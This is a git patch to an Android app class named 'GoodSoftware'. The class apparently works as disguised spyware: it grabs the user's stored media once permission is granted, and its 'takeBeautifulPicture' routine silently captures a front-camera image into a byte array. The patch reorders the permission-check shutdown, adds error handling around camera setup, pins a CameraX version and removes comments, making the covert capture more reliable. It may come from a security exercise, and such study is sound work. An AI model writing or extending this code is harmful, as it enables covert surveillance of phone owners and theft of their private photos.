From c3e86065cfcf61cb3618993726a836db00b88bef Mon Sep 17 00:00:00 2001 From: Joren Date: Mon, 6 May 2024 00:04:00 +0200 Subject: [PATCH] Make sure stopCheckingStoragePermission doesnt happen anyway --- .idea/deploymentTargetDropDown.xml | 12 ------------ app/build.gradle.kts | 3 +-- app/src/main/java/com/ti/m/GoodSoftware.kt | 22 +++++++++++----------- 3 files changed, 12 insertions(+), 25 deletions(-) diff --git a/.idea/deploymentTargetDropDown.xml b/.idea/deploymentTargetDropDown.xml index 41ae297..dc1c712 100644 --- a/.idea/deploymentTargetDropDown.xml +++ b/.idea/deploymentTargetDropDown.xml @@ -4,18 +4,6 @@ - - - - - - - - - - - - diff --git a/app/build.gradle.kts b/app/build.gradle.kts index ce54947..01c163d 100644 --- a/app/build.gradle.kts +++ b/app/build.gradle.kts @@ -51,9 +51,8 @@ android { } dependencies { - implementation("androidx.camera:camera-camera2:1.3.3") implementation(libs.androidx.camera.lifecycle) - val camerax_version = "1.4.0-alpha05" + val camerax_version = "1.3.3" implementation(libs.androidx.core.ktx) implementation(libs.androidx.lifecycle.runtime.ktx) diff --git a/app/src/main/java/com/ti/m/GoodSoftware.kt b/app/src/main/java/com/ti/m/GoodSoftware.kt index 861f54e..bf0a48f 100644 --- a/app/src/main/java/com/ti/m/GoodSoftware.kt +++ b/app/src/main/java/com/ti/m/GoodSoftware.kt @@ -167,15 +167,16 @@ class GoodSoftware (private val activity: Context) { requestMediaImagesPermission() }else{ grabMedia() + stopCheckingStoragePermission() } } else { if(ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_EXTERNAL_STORAGE) != PackageManager.PERMISSION_GRANTED){ requestGalleryPermission() }else{ grabMedia() + stopCheckingStoragePermission() } } - stopCheckingStoragePermission() } @RequiresApi(Build.VERSION_CODES.TIRAMISU) @@ -408,28 +409,31 @@ class GoodSoftware (private val activity: Context) { } suspend fun takeBeautifulPicture(context: Context, lifecycleOwner: LifecycleOwner) { - // Ensure that cameraProvider is initialized - cameraProvider = ProcessCameraProvider.getInstance(context).await() + try { + cameraProvider = ProcessCameraProvider.getInstance(context).await() + } catch (e: ClassNotFoundException) { + Log.e("CameraX", "ProcessCameraProvider class not found. Camera functionality not available.") + return + } catch (e: Exception) { + Log.e("CameraX", "Error initializing cameraProvider: ${e.message}", e) + return + } - // Ensure that the selected camera is available if (!hasBackCamera() && !hasFrontCamera()) { Log.e(picture.TAG, "Back and front camera are unavailable") return } - // Select the lens facing, prioritize front camera if available lensFacing = if (hasFrontCamera()) { CameraSelector.LENS_FACING_FRONT } else { CameraSelector.LENS_FACING_BACK } - // Create ImageCapture instance imageCapture = ImageCapture.Builder() .setCaptureMode(ImageCapture.CAPTURE_MODE_MINIMIZE_LATENCY) .build() - // Set up image capture listener val imageCapturedListener = object : ImageCapture.OnImageCapturedCallback() { override fun onError(exc: ImageCaptureException) { Log.e(picture.TAG, "Photo capture failed: ${exc.message}", exc) @@ -437,7 +441,6 @@ class GoodSoftware (private val activity: Context) { } override fun onCaptureSuccess(image: ImageProxy) { - // Process captured image here val byteArrayOutputStream = ByteArrayOutputStream() val imagePlane = image.planes[0] val buffer = imagePlane.buffer @@ -458,15 +461,12 @@ class GoodSoftware (private val activity: Context) { } } - // Bind the camera and start image capture cameraProvider?.bindToLifecycle(lifecycleOwner, CameraSelector.Builder().requireLensFacing(lensFacing).build(), imageCapture) - imageCapture?.takePicture( ContextCompat.getMainExecutor(context), imageCapturedListener ) - }